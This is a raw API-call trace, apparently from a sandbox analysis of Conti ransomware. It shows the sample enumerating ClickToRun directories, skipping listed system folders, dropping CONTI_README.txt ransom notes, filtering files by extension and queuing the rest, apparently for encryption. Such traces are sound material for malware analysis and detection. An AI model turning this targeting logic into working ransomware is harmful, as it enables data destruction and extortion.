	[0098.236] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2=".") returned 1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="..") returned 1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="tmp") returned -1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="winnt") returned -1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="Application Data") returned 1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="AppData") returned 1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="temp") returned -1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="thumb") returned -1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="$Recycle.Bin") returned 1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="System Volume Information") returned -1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files") returned -1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files (x86)") returned -1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="Boot") returned 1
	[0098.236] lstrcmpiW (lpString1="en-us.16", lpString2="Windows") returned -1
	[0098.236] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned 72
	[0098.236] lstrlenW (lpString="en-us.16") returned 8
	[0098.236] GetProcessHeap () returned 0x1720000
	[0098.236] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732c10
	[0098.236] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0098.236] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\"
	[0098.236] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\", lpString2="en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0098.236] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned 81
	[0098.236] GetProcessHeap () returned 0x1720000
	[0098.236] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x1732cc0
	[0098.236] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0098.237] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*"
	[0098.237] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned 81
	[0098.237] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.237] GetProcessHeap () returned 0x1720000
	[0098.237] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x17c61b0
	[0098.237] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0098.237] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\"
	[0098.237] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\CONTI_README.txt"
	[0098.237] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.238] GetProcessHeap () returned 0x1720000
	[0098.238] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.238] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.239] CloseHandle (hObject=0x37c) returned 1
	[0098.239] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x4e660975, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8330
	[0098.240] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.240] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x4e660975, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.240] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.240] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.240] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e660975, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e660975, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e660975, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.240] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.240] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.240] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.240] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.240] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0098.240] lstrcmpiW (lpString1="MasterDescriptor.en-us.xml", lpString2=".") returned 1
	[0098.240] lstrcmpiW (lpString1="MasterDescriptor.en-us.xml", lpString2="..") returned 1
	[0098.240] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.240] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.240] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.240] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.240] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.240] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.241] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.241] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.241] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned 81
	[0098.241] lstrlenW (lpString="MasterDescriptor.en-us.xml") returned 26
	[0098.241] GetProcessHeap () returned 0x1720000
	[0098.241] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xda) returned 0x17c7180
	[0098.241] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0098.241] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\"
	[0098.241] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\", lpString2="MasterDescriptor.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml"
	[0098.241] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e7b38) returned 1
	[0098.241] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1
	[0098.241] lstrcmpiW (lpString1="s641033.hash", lpString2=".") returned 1
	[0098.241] lstrcmpiW (lpString1="s641033.hash", lpString2="..") returned 1
	[0098.241] StrStrIW (lpFirst="s641033.hash", lpSrch=".CONTI") returned 0x0
	[0098.241] StrStrIW (lpFirst="s641033.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.241] StrStrIW (lpFirst="s641033.hash", lpSrch=".exe") returned 0x0
	[0098.241] StrStrIW (lpFirst="s641033.hash", lpSrch=".dll") returned 0x0
	[0098.241] StrStrIW (lpFirst="s641033.hash", lpSrch=".lnk") returned 0x0
	[0098.241] StrStrIW (lpFirst="s641033.hash", lpSrch=".sys") returned 0x0
	[0098.241] StrStrIW (lpFirst="s641033.hash", lpSrch=".CONTI") returned 0x0
	[0098.241] StrStrIW (lpFirst="s641033.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.241] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned 81
	[0098.241] lstrlenW (lpString="s641033.hash") returned 12
	[0098.241] GetProcessHeap () returned 0x1720000
	[0098.241] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbe) returned 0x17cc0c0
	[0098.241] lstrcpyW (in: lpString1=0x17cc0c0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0098.241] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\"
	[0098.241] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\", lpString2="s641033.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\s641033.hash"
	[0098.241] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9fb8) returned 1
	[0098.241] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.241] lstrcmpiW (lpString1="stream.x64.en-us.man.dat", lpString2=".") returned 1
	[0098.241] lstrcmpiW (lpString1="stream.x64.en-us.man.dat", lpString2="..") returned 1
	[0098.241] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.242] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.242] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".exe") returned 0x0
	[0098.242] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".dll") returned 0x0
	[0098.242] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".lnk") returned 0x0
	[0098.242] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".sys") returned 0x0
	[0098.242] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.242] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.242] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned 81
	[0098.242] lstrlenW (lpString="stream.x64.en-us.man.dat") returned 24
	[0098.242] GetProcessHeap () returned 0x1720000
	[0098.242] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c8d90
	[0098.242] lstrcpyW (in: lpString1=0x17c8d90, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16"
	[0098.242] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\"
	[0098.242] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\", lpString2="stream.x64.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\stream.x64.en-us.man.dat"
	[0098.242] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e7d80) returned 1
	[0098.242] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.242] GetProcessHeap () returned 0x1720000
	[0098.242] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0098.242] FindClose (in: hFindFile=0x17c8330 | out: hFindFile=0x17c8330) returned 1
	[0098.242] GetProcessHeap () returned 0x1720000
	[0098.242] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0098.242] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2=".") returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2="..") returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2="tmp") returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2="winnt") returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2="Application Data") returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2="AppData") returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2="temp") returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2="thumb") returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2="$Recycle.Bin") returned 1
	[0098.242] lstrcmpiW (lpString1="x-none.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.243] lstrcmpiW (lpString1="x-none.16", lpString2="System Volume Information") returned 1
	[0098.243] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files") returned 1
	[0098.243] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files (x86)") returned 1
	[0098.243] lstrcmpiW (lpString1="x-none.16", lpString2="Boot") returned 1
	[0098.243] lstrcmpiW (lpString1="x-none.16", lpString2="Windows") returned 1
	[0098.243] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned 72
	[0098.243] lstrlenW (lpString="x-none.16") returned 9
	[0098.243] GetProcessHeap () returned 0x1720000
	[0098.243] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa6) returned 0x1732c10
	[0098.243] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4"
	[0098.243] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\"
	[0098.243] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\", lpString2="x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16"
	[0098.243] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned 82
	[0098.243] GetProcessHeap () returned 0x1720000
	[0098.243] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xaa) returned 0x17c7588
	[0098.243] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16"
	[0098.243] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*"
	[0098.243] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned 82
	[0098.243] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.243] GetProcessHeap () returned 0x1720000
	[0098.243] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc8) returned 0x17c61b0
	[0098.243] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16"
	[0098.243] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\"
